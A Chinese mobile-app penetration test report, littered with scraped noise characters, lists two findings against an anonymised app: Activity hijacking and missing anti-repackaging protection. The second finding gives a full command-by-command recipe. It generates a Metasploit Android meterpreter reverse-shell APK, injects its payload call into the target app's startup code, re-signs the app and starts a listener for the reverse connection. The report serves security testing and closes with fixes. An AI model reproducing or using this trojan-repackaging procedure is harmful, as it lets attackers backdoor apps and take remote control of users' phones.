0 }9 @0 G+ u1 i7 N$ P6 \7 `) A
) H) k* O2 D( _; _
% c- _9 ^# J. {- E" X- {* a# y
4 B# M8 e2 Q; ~/ K! n: G4 P 表1-2 测试结果
2 p3 V; A5 A0 G( J
8 A% S5 f* u1 O
4 `: p2 q7 M. v6 X' z0 h
; V$ Y4 N7 \: U: ]! U
5 P2 a: }8 d& z8 y
! U* [+ r! z0 z! r/ _2 p* m
3 a; J9 G/ d$ T% V6 V" q8 o: `, o5 A7 X( P/ d+ F. @$ P2 s3 _4 ?: _
* W+ D0 B/ [" w1 |0 Y2 p
4 h" Y- \$ E' M% L$ k
; O' c2 A! `6 p
, G9 a* X# ^5 {, F; N" u( c* { 2 检测结果 3 M, D3 j) @* T: b
" _! e" Q* Z5 u% I. ~
8 u( ^; ]8 X7 b0 u+ Q
N# n' a' `" @ K9 T, c5 }) V1 C 0 H- b- h& ?6 ` J( R
( y) g0 X9 o; d! G# Y, c" A1 _ 2.1 某某某
! l+ r4 `- s: `2 O. I4 c; T3 v3 ?* O& Q8 @. I1 q
/ E Q2 y1 Q( s" x
4 C8 q4 |2 f6 }4 f8 V9 ?& @$ Z' H ' o+ w" m2 I" D7 r$ ~9 x. ?( h
V1 P- L4 B5 u2 N% d
2.1.1检测目标 , |5 _! E. Y$ n, `/ K
. A {# I5 i2 K! i. ~
0 {- J6 `% V0 _- X7 }* b
( [; h9 }3 l1 \9 \* @5 m1 s2 d. C8 I
# y3 M) V- ?& k6 U% S! `- `. |7 U4 s
目标地址: 某某某某某某APP
A5 {7 \) Y2 J% h ?" H/ e' V2 `4 G, Q5 E" O# I
# }4 i9 c* Y$ x/ `; I6 F9 l- f2 T5 J& M
+ r' v1 q1 m5 H# p l4 G- i
* T9 ]/ H. C) f* e
2.1.2检测结果
! m( u) a5 n# w0 \) S
/ a: x+ z+ E A0 A1 _! V
# \& c2 U0 J6 H. `" f& }5 x& ?) W- @$ Q& g
3 o, W* B, L/ e" N# g, }
. G4 j: f6 ^" v m6 Q 2.1.2.1
N) [* r! S8 t8 B8 X" Q" d
& I( V0 f9 Z. W( o
6 k, E( n* i( l8 `$ c8 V, d- x( O* G2 b
' C2 x+ z* Q" X& F+ ?; c
: G6 x1 ~/ y$ e" R3 Y2 z: w% ^$ ^
漏洞链接地址:某某某某某某APP + b* v# N" ?9 {# _9 J
2 x- i1 Y0 C% T
. ?5 k% h& A$ R( O1 w$ R: o
; E$ b! t. p+ z, d$ u! ?8 I: T
& Q( N: Q9 \% a5 A( h1 r4 o& m7 u# _. `# ]% I0 @. _
) m7 a" I% G1 g* v6 T$ `# o7 K' p& L6 j2 b. q' {
# \" O/ e* Q4 n6 P& d4 E* s
9 Z" l& O/ M6 t7 F1 y 3 T: ^" p7 j- c
6 ]4 D! V7 ?" @! `
漏洞分析及取证: 6 f( R' s1 P) g6 a9 E9 h
/ L% t% Y C3 Q: X' r1 }
' H) }( I, o6 u/ m" Q9 E4 ~
. |1 w6 K4 Q. P. }) a+ F 4 e2 }* J$ M R5 z; s( Q
3 \! B2 X- B. O. g& w2 S1 w, ~ 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: % f2 t' R' k! }) g/ \+ k
C7 |; i, B) M
1 j E. a8 a/ f L8 W
5 A6 P, ~% q6 D3 _( T, H) Q: N 4 F3 m, D' @" q1 E
9 t) [1 c2 S. t3 Y+ K# A
6 P) t# ^* f2 x% R- }0 i1 m" t8 \! C+ H; }
7 C% M$ h. t# l) \- c% N7 J/ X; c9 ]$ b F8 s4 D! N/ m6 Z
: ]- s0 p0 `4 K- W% g+ m5 M
* Q% f" U5 u h* Y; Q. @5 \$ u5 u 3 K9 I$ g# e2 k
* b* G3 j( U) J/ u/ m. g; Q
/ Y8 h1 R$ d; ?% \& L% ?8 f
0 Y+ \4 [7 M) z$ M5 c: m
1 V- D' B" ?4 }' w4 a$ O' H) |# `0 _3 m
& @- Y7 i$ n' M* q9 C/ Y: b+ r2 s. l4 k/ j6 Q6 t
& e# W, G2 L& ]. Z7 I; D( h& M: p
6 [6 K1 H3 o5 f/ j; \& X+ \2 Y. c& r
8 r5 d7 {! K2 U9 E0 e+ X( R+ y9 l( k$ a4 v- t4 g
# V, d8 ]1 L4 k0 O
+ }6 C6 W( r- |$ ]0 D
" n+ ~/ W0 U1 @$ Y7 [) Y" B
/ w) y( `- W4 |6 O0 B
6 q3 o) t8 L0 L8 a' `3 P7 Q- @
) H% i( P& R" F7 C9 p/ F3 }1 p
& e0 I# S8 J6 J9 B) |
6 C9 b# i. R v% H0 r+ B4 R
$ S# ^3 Y- E/ o0 W% I9 A1 e7 q; o! F5 z: R$ X; K" ~8 y
. q9 J9 N$ S& E& V9 N3 y
: t8 Z6 {6 z0 [6 j9 @$ R 漏洞危害:高 " {5 ?* X) [( y
( w m4 E9 t; G' Q- v* E& \$ X
% V# i) Z1 o+ @' o3 M8 j; `
6 C, q( D8 ^$ F; W- T / @6 I; ^6 O. E+ V
4 f& C5 h( x% G& G( e
8 H8 |2 A( N) C+ m& o/ P0 X7 x+ {0 ~
+ v/ T. Q/ m. q2 V9 m% K$ Z
) h1 n# D3 K# Z1 B% Y+ E 7 e( |8 b5 H+ r( U/ a9 U4 A' q A9 {
* j' t% k& Q% {; h6 c7 q, g7 o
8 A" g& R$ ~7 }1 j: L0 q7 R" J
" W* Q$ y1 M; T1 F5 V5 b- G
0 x1 x4 F& z/ g4 R0 ^7 H6 O
1 s% f$ |% i" s. Y7 _ 严重程度 5 L' o8 d; r- F w# ]0 y
6 v) }# L' V5 g 1 |7 U. R, g3 _3 g/ P2 a' d5 @
6 Z: q" ]% R: u+ ^3 h3 ? |
% N6 \- {% J! r
9 j3 Z/ W' {8 V) f$ `0 D* E9 Q
" s/ Q/ _" } r0 G6 h! `- d, A5 Q6 {0 ^" \9 J$ W3 m& }, @
7 X' u% J0 A. E; S1 i' B
/ g" k, Q% E4 o. K1 _# t+ @4 x0 l, W 高
, T# y. g" g' ^ ^5 M4 f8 [9 `; |+ f' n5 D
" {8 h0 m8 Y3 l- k! m! S. i
# E6 m" |+ m, S M% M3 m* x6 J, N
|
# Z1 v0 S/ V7 [6 j; Z2 q) m1 y
/ w( p1 b! b4 Z9 v9 _
: c/ ^. x$ [+ \7 w6 _& f' D5 [& `/ E! P$ n/ \) [ @+ S
7 ?5 Z8 N) ]: Z; Y C
: r7 ~" `0 W- Z" C! f' U
■ 5 U: Z& L9 k. B# R k+ u" A5 Z
4 s+ `9 v( G3 d( l- {
" k% g" l4 v6 i+ v5 t
1 ~5 `$ L4 W; p3 q0 C | + a7 Y7 b% L' [$ z
( Q, R$ H1 y L. T/ L ' g/ g3 d* j( @8 W5 K& t2 f
- H& v" q: _! u/ J& a
$ h9 C6 w3 L& I- O1 A' u) k
: B( k* D- K9 F" t 中
+ r" D0 j0 ~% ]1 K
/ y" r/ }" W1 J6 |4 L* v 2 B1 j) r# Q8 l( L
( J) F7 W: g8 C5 s! d- [
| 2 Y; r) K7 M4 X4 S2 M
' h/ Y# Z. E( L; ?8 g8 O: D: n 7 p2 g3 n. K% x. N2 C$ E9 Z
& \, X" i2 h0 y# q( z- t* r" N' ?4 A
+ G3 c, |( z a5 x# I' ?
" S w/ Y1 e9 W9 }6 c! O& ~5 g# w( W
( G" l2 j0 ^0 w' ?7 s6 ^9 T+ ]6 ~$ r% J+ o. L2 o
- p+ \2 ^) O: Y! r; V' |5 w
5 M% i$ e& @$ s4 K3 F( r |
: W4 A2 F& P1 `# B0 L3 w2 a
9 W2 @3 Q' V1 @, ^ & p! P& |0 Z; I9 p) U9 M' u
9 g- t! H* a$ K5 U) A
7 h8 o5 A% Z8 d' i
_ l9 }. a7 e" x8 m/ W 低
+ b5 L1 x/ h" l8 G7 w( m5 ?
8 Q. C$ Z0 N' U$ c6 u. T 1 t9 l S. v$ a c$ o% v
& T9 O3 F7 h5 l5 e# a; P
| ~1 v6 p/ r" Z, \0 |% |
! ]. x8 v0 g3 e& Q. c( }# j9 l 1 n8 e" U5 r9 o/ }: p2 x0 i
+ g8 h: Z* \' ~6 X9 f
* s) [. a0 ~+ S, P) I B/ f0 d4 a$ Z
) W% b$ J, |9 x& T7 P/ K
# r& B! |3 D5 I5 }) y% g# }' ?$ \4 i
- _3 k ?% j" Q5 r( Q
. [7 f4 O8 @" I+ ~& b' \% Z3 H |
7 p+ N% t! O5 }. u6 v5 l
& ~' Z) o/ ?; ^6 p+ a* G7 [2 f
- `! L+ v& i5 I- L% P; i
# M( q5 y* N3 N2 M6 t
9 Z2 R( A7 ^5 L# V z
( j0 [' V7 c( z/ D3 Z
9 W0 z5 H/ K( m( k. T
# o) k. v! ?5 e% h
2 K! c0 [, K4 F6 h( z) |
x4 M; d! @ m. m' ?% X! }( j / G2 N; m) u9 {0 r, w5 [4 r
. I/ Z5 ~; R; ^, @% N+ w# j
6 I$ o2 y2 k- f1 t
% ^! m8 L- p& v, z ~1 y
$ j4 b; f$ X) O1 l, |
% v6 S7 j. I. D% h6 J1 M1 t- y& Z
, |/ T; b) d2 n1 y$ _
( P0 G. q% }' ^' E2 P, x2 [; O. _% s
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
& P8 Y" K5 \7 G W! U6 S
$ }" T' x" O& p- J1 ~
; S5 X- R& e7 ?7 V$ W7 o5 H9 \ V4 V
/ d& e( S/ f& e9 A" g5 m* z3 F: ]4 |: E8 U8 I, k8 ^- k
% j3 q4 A8 |+ @
8 Q# n2 O# J- m
# ?+ V: U1 g% ]6 X% \
( e: l! q$ q/ S
5 d# _4 g. k0 Q- G
4 z2 {. u. g0 [0 I: b( ~
: f' w. T2 f4 ]+ {- u* h" w/ k5 q7 c+ c! H4 S2 T0 m
! l' r/ T: [# N* O: k( }3 B( d( Y, M4 z2 l/ N6 o" t* r
( [ {& ^: @7 r. k ]
4 S2 y( N6 Z# W
2.1.2.2
; P0 q$ J/ {# g* s7 l* Y
! j( `* Q3 r: B* Z, a
' d' I( z% {# w0 Q
9 x" h- G# a# v( | s5 d( F7 ?- X: L ' c% `, h1 K3 R! B8 d0 Q7 G) M
8 r% v5 Z( t0 U
漏洞链接地址:某某某某某某APP ; ^5 ^/ ^4 E; y2 E" P) C9 ]/ l
/ N: D, ^* z! W' f8 V6 i8 U! C5 x
5 ]# |" P# m# c' f! N& v/ t1 G2 W1 y' `
( u8 r i9 {+ b: i% ]- J* Y
+ D. R$ c+ }3 h- P, W% { 漏洞分析及取证: 3 H ~1 g0 K0 n5 \! u
4 B% B2 e f$ v `7 s5 C
: Q( e6 a- c/ Q3 P/ t' c
0 N1 u' O* X g
e- S8 O+ `3 U9 v' g. y9 ]% D# D6 }5 \, J- F3 m% W
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 2 n& n9 x- p+ d, Z0 y& y8 ?
) Z/ S# j( p/ l3 \3 ]
2 B1 k8 ~: \( `6 ^6 [- K0 x+ N1 V5 U2 i8 M6 `. w, o
( T( e- k i$ c0 R6 L$ Y
/ B! M" T6 W& c: F 用Metasploit 生成木马 apk ; L* g( W! }% {: ?( ^
- r4 }0 X4 l0 ^. z7 s; G2 [
( l+ f, r, g/ I
: {! R3 i# ]4 h' b; l4 X* X
# ]% Z8 z" w: }" e4 ?
9 Z2 n _- j+ o9 l) [. g msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
* m+ c3 N) V( M' r' Q& H T9 e \0 \
& r' |+ r- L/ p" ~# C) H; W
5 G1 Q+ x7 G7 r6 {" a* d/ N( F; C
) n; k* E; `. Q$ z
, J7 c" q1 L7 i8 i) K- Y; m 反编译目标apk和木马apk 5 l; }( d# B3 K. W
2 D% |1 l- U0 }0 u; M
! `; }) d; `; L) L
( M7 d/ V# V. ^$ w+ E/ E& r- [4 o
g9 g: s' q; ^" v2 O! _% q6 [ S& y2 {# ^+ t" m
apktool d target.apk
: U6 b2 }+ J) N8 ? b6 o: H
4 X5 w: c: P0 [ ?* E e/ R4 @
apktool d cockhorse.apk
% i% `6 R) \% }1 P/ \2 f7 F8 f5 G1 A: X( w
# ~+ w& ~" E0 t5 o& X. K! M
& g* ?9 ]& @ M7 R. s) R$ \
- \ |# d4 W9 r% @+ N: s
( p z6 ]' |- j3 ~( u( d 木马 apk 注入目标 apk 8 q% @- r5 K- {7 G
# Z' ?6 Q0 `0 v- z
, B( T3 y# m; P' \ w& K/ k0 H0 A( H5 a
1 ^" q8 b0 y1 }( w
6 P2 B; |! J8 D5 n9 G3 ~
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
/ F+ M, M) ]( }- f/ q/ o- D) H& x
0 B* y/ m. t! f: s
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 8 l4 U3 s N& x4 O" V
- `5 |- \1 E: k! z3 @& g; R
9 p, i6 }3 ^0 ]2 X
+ E# G- d6 k8 U$ o( f q0 j- K* e
& c! U, H, `* Z# S4 L4 T4 L7 Y! l( T; K9 b) M z
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
/ d8 h$ a& F# Z, P# Y7 I# b
1 N8 C* Q& R3 ]3 V1 D+ }
( Q7 c4 N G' s) z0 n# C) E @
7 D% \4 H; i& o3 _
$ R# A, `. o; R" k0 r
8 H. a' S8 v! u+ [# @, T* r* m 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ! u r1 `; a9 l# A
5 |0 y$ n8 j# x7 E; _) Q! l2 R# x& L/ Y
! {3 r7 }! D" V
1 D/ y. [% Y: }" ^ L% g 8 U9 D) H8 x% t2 f5 D
0 m+ S( H2 F- q( ~1 B- L& V
回编译生成最终 apk
7 c) _5 ~: h7 V. E+ Q$ x+ V2 }0 ?& r$ g! z% l E' H5 M
2 I- ]- B- n8 c" e* K \: v
. D0 c) L" {1 c! S1 s. [- P
. N) S/ o* l! ]# Y: b
- I# ^1 D/ h7 g* O& e+ z5 [ 重新打包
1 r$ _1 J5 N! j
, N+ u) r e" e* `
$ o5 ~2 Y$ b0 I6 U: G3 C3 x
_- B# L8 ?7 v2 \4 l6 q4 Q5 \
; S: K4 M. S7 ^4 r8 J3 z9 H( @
. _% l1 Y# V7 t
apktool b -o repackage.apk target_app_floder
+ O! D) h+ [5 O4 n& V y$ N- U8 @; l! _ @' p- u
9 q k4 t, {/ u
2 N( ~* v( l; `
7 X0 w% A3 a8 p9 V% a
! `' W, q2 {7 K+ w/ S J9 ~$ K4 v 创建签名文件,有的话可忽略此步骤 , w0 n/ F! [0 Y$ {% P2 ?* z
2 D: _4 H9 u/ y1 g
8 O8 \: O. Z7 U" g7 ~2 u
) Z& u3 e, Z7 v* B0 Q# g, s ) w+ I7 F9 [3 @4 i7 Q
2 J% N- U7 c" b; L9 I) J+ {" F
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
6 i1 ~4 r& C; ~9 \! `
4 g; A' [$ m5 C1 f9 f
8 r7 w: Y4 v8 l0 K* J$ ^
! y$ s# s$ s$ Z+ J! `
7 k _+ m% L2 @+ v: c' L }* d- j W4 R7 j" M' h
签名,以下任选其一 8 p* e, ]0 |* k4 x( \% S) f
5 o) a/ t5 V. r3 T
# o. C1 [' a. I) t! Z* b5 v- X* o4 ?* D2 U3 {
: {8 j) J1 w' W4 L6 R% j, A
' G5 Q( z1 ]) R
jarsigner 方式 # F, L& q) S, A8 \- I% `' B
8 U+ ~3 t6 B/ B. r
- `" Y, e2 X2 @2 V1 @
! `% _) U0 r+ g' F8 e! r) r) ?
/ {( p. `) ]. n; U+ T% L
5 M8 {) a7 ?& t/ k jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
- E3 S1 M P$ o5 U
8 r7 b+ @; P x8 D
, n! h0 s: p4 F& K Q
' N: D; O" J( I/ I0 O2 V
. F5 w# R: k+ k" ^% K# f. b
- h, b" g- x* u0 G apksigner 方式 5 P: S- e1 P3 R" m
& \, R5 R1 Z; c5 p6 U! g5 Z
3 \1 |3 f" g8 ~& o1 \
& ^& h$ H3 L% N c
; w& d$ v: I: I5 h! j- U5 V$ |* F: {9 [7 `1 {4 E. v
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk " x8 I e* Y \. t
8 D: p8 C2 `( M" N" g
2 {+ V$ y% y% ~6 Y) H
1 R* p m0 h+ h) l7 F2 H / j2 V6 H' D) ?. ?( O) W
) u$ R5 h \% q 如需要禁用 v2签名 添加选项--v2-signing-enabled false
0 i1 L! A' @( c; E2 G1 a) R6 z4 Y6 h& a6 S8 A7 `/ L
& X7 f! R0 M% h* g- W% \
, ^3 V3 e! u* ]* e
- T1 N2 j" b# ^6 s- n n6 p4 S$ a+ _4 i) {7 w
验证,以下任选其一
: w' A b. K" P$ M& o) X5 x9 R: @8 Z- n
% B1 }$ t# N1 y, S
5 \$ ? M7 M5 S: u5 x) O- p
# n$ ^1 ]- t$ q' q4 [( t4 ]6 ^; `6 E/ Q: n4 Q
jarsigner方式
& s4 I8 V! H* ^5 Z3 f2 }) ?" b% p6 i9 o5 {
- z/ {5 z& N: Z3 ^2 P- w' t, E4 _5 F
: |$ Y' `5 y1 v+ d( l
9 g7 [# Q+ `1 n' u
* y0 }' E( O% o2 D jarsigner -verify repackaged.apk : j4 O+ _5 w- ?7 }- Q- l+ F
0 h w0 k' J. V& Q
# E1 o7 k* A9 i: J$ B5 ^, P: b! ]
% B% ~ h% s) D1 E* C. x
9 S9 }5 L4 F( j2 b: o' Q6 r apksigner 方式 8 |* X' h, E; E3 d) ?9 _
8 C4 ~2 N: S0 P7 g6 F1 e# P
- f& V! N0 C/ u$ m; |: R6 o2 J i/ ^
% Y% f- D d! n4 b1 `3 h; d* T
! C0 ^, d+ ?" q& B
/ N% u! y6 `# m' f
apksigner verify -v --print-certs repackaged.apk ! C& W( i# v. a( q) d; O
0 i6 u7 ~2 d5 L* ^ C' N/ y( k
& O; B/ t4 c. g+ k
* I1 S" I! _" V; w0 O9 X
9 O8 d; E( [! z8 i9 [" s1 E9 w i
' a+ p9 [: H! z' d' K ~- p6 | keytool方式 # r) S8 k8 [' t; _" Y
( K9 w1 b9 S! G. w0 b/ w& i5 `( @
( Q; w# }& Z8 O ^; d
& X; x q0 e9 ]) j" \ 6 M, p% r3 K( ?1 ]7 ]! n
% \/ A: r/ c$ O
keytool -printcert -jarfile repackaged.apk
* R9 m) B I# `# S7 [4 P+ B" a8 S% H
0 k# {% S% {4 u1 u
# e A' z( W. S% k0 p
0 m* f4 I( t1 g( N: {( M) F. ^3 O4 g# }
对齐
2 q- \# ^# }% W% m& Q( y8 G" ?" j b; E, f# T5 C
+ |3 g' @1 `/ U) O q( C/ p
3 b! p' o/ E6 |# Z* G4 |
) q) _9 ?6 j' `1 p
! l- }- {; `& C 字节对齐优化
: Y# r, V; s% x
6 n1 x: d+ E- {* O% X+ I
I H% H/ h M& @9 `
5 q. W5 [9 S# H' C d
# q0 W0 G# U* n& @& n: a- L- `
9 a9 Q& O( d* T0 ?: F2 _. ] zipalign -v 4 repackaged.apk final.apk
. I# k. l, V3 {/ r( {- t+ E( A# I6 G& l" |$ ^: o0 m2 C% R
& _: D2 R# C* s* N% Q& i
8 |6 z+ N6 f: p- h, [
: T7 c7 r- }/ h
) B) T1 [& F) m2 Z6 j& u 检查是否对齐
8 m, L6 ?: q( E- V/ x3 b6 r
1 B0 t' K6 e, r0 W6 P, O$ ?
# @1 O1 a% b2 K% ^4 u' T, a. r
/ r! ?* k) _& n7 z
; K5 \# j5 h* d0 C
% q( a1 i" ~: g2 U6 D6 V zipalign -c -v 4 final.apk
/ S/ r. Q, }3 E+ T" r- J* ]- ]$ x# N
0 u9 f8 N6 K A) c5 R1 I2 x7 P7 r7 s7 k8 ]
: ^# i0 W2 L+ [) I2 s
/ p+ e1 @" C/ f& h7 l/ J 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 / `% Y# _: \& d! P
% M2 q: S& r/ ^* W/ V8 W4 Y K) N
4 F5 W$ S" w5 M5 N. I0 |3 q! ~5 ~. T
1 J0 H) a9 t) G; s( Y* v0 c
& G1 Q, _: u" s 启动Metasploit控制台,配置参数等待上线 ^8 g, `$ t$ m, o
6 G! i6 a5 A$ Q
3 _. F1 o7 m0 L5 v
* @9 H2 o7 s; h9 f, w
+ S, ?6 u0 ~) Y+ W2 g4 G8 Y1 ^: W6 l4 s1 }
在终端依次输入如下命令
- r/ C; b( [& L; r7 M! B+ k, g( r1 K% ?- I0 Y8 l
/ q2 |) D3 W7 w9 x5 H3 h! C2 m: W# ^6 p1 d$ }6 K! U$ k
) N+ t8 z* M7 k1 ~7 h
9 ^" O& h$ O! C+ f7 y
msfconsole
6 `" R" U2 o4 D* a$ f6 b- P ]/ j; [/ Q4 b. A2 V6 E
0 j( B/ f' |, X3 ?
/ J. f, a7 a2 h5 j* t
0 \% k5 X; `6 x1 l4 C: u
" R8 j. V5 B9 C4 v* E; w use exploit/multi/handler
: g# e! e' }& Y0 p
_1 B3 e- D8 g7 D; ^. E
9 Q3 ^, U, O; H+ S Y
1 o# D( [8 _, [$ P) U, D 6 j& ^5 }( p- u8 A8 I5 E' ~
- o0 K: ?% E; @# ^6 v' E6 {1 h set PAYLOAD android/meterpreter/reverse_tcp ' A8 h" I/ a# ?
; Q4 r+ K. |! B3 W, z/ ^
, P7 y: A. i1 l2 d2 B8 b
) @* A+ g: B6 R % G( R) J, X- A5 r1 R
/ W* _' ?: \" g
set LHOST 192.xxx.xx.xx ) K% P) H& ~ r. E3 |0 F# ~
9 C7 X6 ? t+ z( Q, w6 Z6 o5 p
' ^1 i" q' v3 y2 W
. J8 W/ z/ J* i) V# D
7 [3 ~2 U0 x# r# w' A7 s! F4 P0 b- i4 n9 X
* a y' j2 C, h8 L2 F: t1 Y set LPORT 4444 ) ]( p: @) H8 ~, p
# Q5 Y% V- v* t0 j- G$ m* _
# I* Q9 `. @* M! x5 ]! ]9 G3 a( t5 u# V: U9 p
5 m7 Z+ @! D+ u, j+ u Z+ h* s0 H7 h7 v( m& w
exploit # x/ D2 c/ x3 {4 c" U Y
% O3 J Q; J+ z. w0 U4 a. c; l8 W& Q
2 c- C# R# ]: d" ^. v
( h' f8 Q! c* Z+ u @
+ ]3 n9 t/ ~ {/ H( ~) h; `% H/ e j x. `9 d
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
9 z u7 A3 n: D/ o
! V) | s+ w* Q; D O4 D
) c8 q( v; m$ I5 l5 m; h
0 T, J6 o/ d" B$ z* L. P* R
]9 @( {* c, e
0 f+ U8 m- Z) a
漏洞危害:中
/ N$ s# e+ U( B& A. O
: h4 T6 F5 J8 Y/ k- ?# B8 H, l
4 i# i' a' ~& ~3 H4 q- ~( @9 `$ L
* v! N2 S0 e) ]: W. H! }8 |- l& \: O
& q( ]5 }- M5 y) @0 ]1 n7 j" e$ N4 R. c9 ?9 b( G& b8 I
! C, Z* b& @. Y8 n1 y% k2 B. k! z- d, u# K. ~" p
8 L7 Y7 X: O; G# T g1 m5 R
' g7 ^0 B- c p0 a/ n+ u
S0 q, T/ A+ S, D i+ E8 \6 F& H- W; ^$ `5 ^: o; {
/ J! K. c5 v( \- y, ^
5 E/ n: r4 R% [5 Y+ y% W
, S: r9 i' F' h& P3 |/ a' k. I
( N1 u0 f# r9 G1 D$ s
% e. @ e2 l. N
6 I- ~* m, g5 W, ~! Q 严重程度
0 n0 y# L+ ?4 N Z- z; U* b: C _
4 w1 F r$ K6 b9 S3 Z1 U ) ^5 _/ l2 D$ X, }# B
7 X& Q; u5 ]* j- O. [" M6 v4 l
| 3 |4 O4 Y l3 |( J3 V: Q
& V) u- l( H1 f% x: T6 M9 X
' P; r8 i i& k3 [: L, r$ R6 c& j4 b0 I* H; M0 E
, A: V: n* ?9 ^! C" K# ]% I9 J/ `3 D V; s1 L0 [
高
9 T9 J0 _. V6 d+ s
* g! r" n ^8 s3 i ) p( S1 c' C8 ~) ?$ ~3 |
- ~6 j6 G* t" F, _! g3 } | ! H$ ?* k4 c" j4 g( n; ?, |
6 K" h8 f. E) h; J8 ^4 `
) S( N) _9 W! \. L, _* y; m5 y2 C. n, E& U& @: c' d) W' w; E1 }
4 H0 u* A! j" \% J& E
; S7 N- s5 s: F5 f9 J* D1 j
■ ' u2 { D" E* p4 V; J3 Y& h* x
( K3 Y5 r- G+ Z
5 e8 }9 Z5 e2 @* `9 I6 o
7 ?6 P z9 P" j5 u
|
$ W# Q, k0 p' I& @( I4 ?% W9 q& E/ o; B0 m5 n
]# D6 e5 [' O) Q4 g! N& [; s0 C" `
' K# u- k0 [( R5 D
; ^+ \; o+ r7 A% R 中
8 [+ C+ \$ F3 o" G! r6 s" E* b( k7 b, g& N0 `
' P7 _& d- V7 Y9 Z
: B8 a) Q" _. O& Q4 r# d* i" ]5 y | 9 q1 f2 x0 I. Y4 ?" G6 w
5 A; B2 Z" V' z* E" ]
2 d# X+ v1 H7 Z5 T: v+ ^: z$ z1 @- ^
' q* b, F h0 Y3 j8 M" U) u" V; u
" M2 e% O' Z: K" Q2 ?/ ? ! P* E8 K& w: | w( K. i
5 M! P3 ?, u! b0 z6 ?# z
/ ?) l) P% \* r: N t; C: i. F
# N% g! P/ M, O . K1 ]5 K0 R- r, D% V: Y
1 h5 M! [0 p$ m: s2 P: D4 ]# e, k
|
/ A+ N( d# h2 \: o3 m
4 \. o) t% @* t- ^ V% i1 G 5 Y* B, q% E0 t
y6 M, q& O; O& p
; y h& T" v! I% Z" _5 r" U8 i8 P' v# c; A1 f% e g0 k9 U- x( _
低
" K" P0 ` w/ N& [9 p' \0 w% A# |6 N
, k7 q- _; s. D; G( X
; D% _/ E) b- n6 T9 v
# i- w; [) A! Q* Q* r' N* b* e |
( x( m% O* W! o# K$ L. e7 Q! y4 m5 W* F4 G
W; B# E! a; }2 v3 r% D0 H' i
: V6 z8 U, Z7 y7 K& ]# h. v$ _
' r3 u$ n4 D# J1 F; c7 n
( V7 I! a) o. O ; E3 \" W5 ~4 K& J
7 T6 j; d( \1 {; X4 D1 I$ ] 4 p, U0 w. ^) }& t& \7 C
5 E, f8 S U( H: Q
8 U9 A: O' @: U, x! U/ Y' q. R
- W# i- f9 A3 F8 M& e |
# e8 W a) `8 k; W1 Q9 }! ?+ t' S7 B5 Q) D' [. I
* X8 t3 {7 }9 O% A
7 k% h" [4 k" W4 B' o% G
8 V; D, r/ E* Z z
0 ?) k7 M* |2 y
) h9 U" A5 W2 w% [
" u3 [( s! @/ i& ~, ]) K5 K
5 {/ ~+ b. R4 i2 E3 T
0 f4 D: _( q, g
$ t% D8 q' q3 P* J( v# Q
/ r0 V; V5 W1 S5 S& U4 v4 {
& [: B8 O; ?( p, K1 T% f' H# g) l+ o" w: Z8 K/ q
/ z O g7 p9 G Y0 J4 O
- W! I+ k) t# n9 k7 s" p
6 K! }4 Q& ^2 C/ H* M6 |& X4 [$ `
修复方法:
' z' ?8 F2 l I) _$ K
3 f; z/ i) Z0 d7 K4 l" _, }
6 F3 A H/ i, I2 \ i$ h8 Y* _5 L7 K% h( f
) \' k& T- }* ^) H, c+ u9 K
& g m- Q& U& ~! ?! s
1.在 APP 启动时应做签名校验防止二次打包。
# K7 R6 W2 B' L/ s0 p# f0 x! x9 K. O
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 7 n1 l& y6 s3 g" R& O2 Z
8 N: \4 h) p8 H. N+ b; ~& y( k
7 b& [$ H. X/ N$ R2 u
2 f: ]( [- f& Q# _; G Z
! R2 o) T0 f, a. B9 @
2 Z4 f7 P* E$ E( E , K2 m. d* p0 _1 E4 d4 Z
( Y) f! m/ g* F1 p& I; X& u6 [
4 A1 `# L+ n7 f
; a3 t0 z" @6 K) G
7 k- w. m w7 V+ F) r
* i9 `/ Y+ E' X
6 l5 g$ M' l. N$ O$ q
H, n# w' t; i1 P
5 k- R( U. ~, Y4 S5 b" A H- M) T! k1 O7 e
$ O# A3 b' a4 x" E6 M7 G: A9 j3 l+ M4 }1 B8 w' @
3 X1 [) l% [7 h/ I: Z0 Y: j/ n( I8 I# B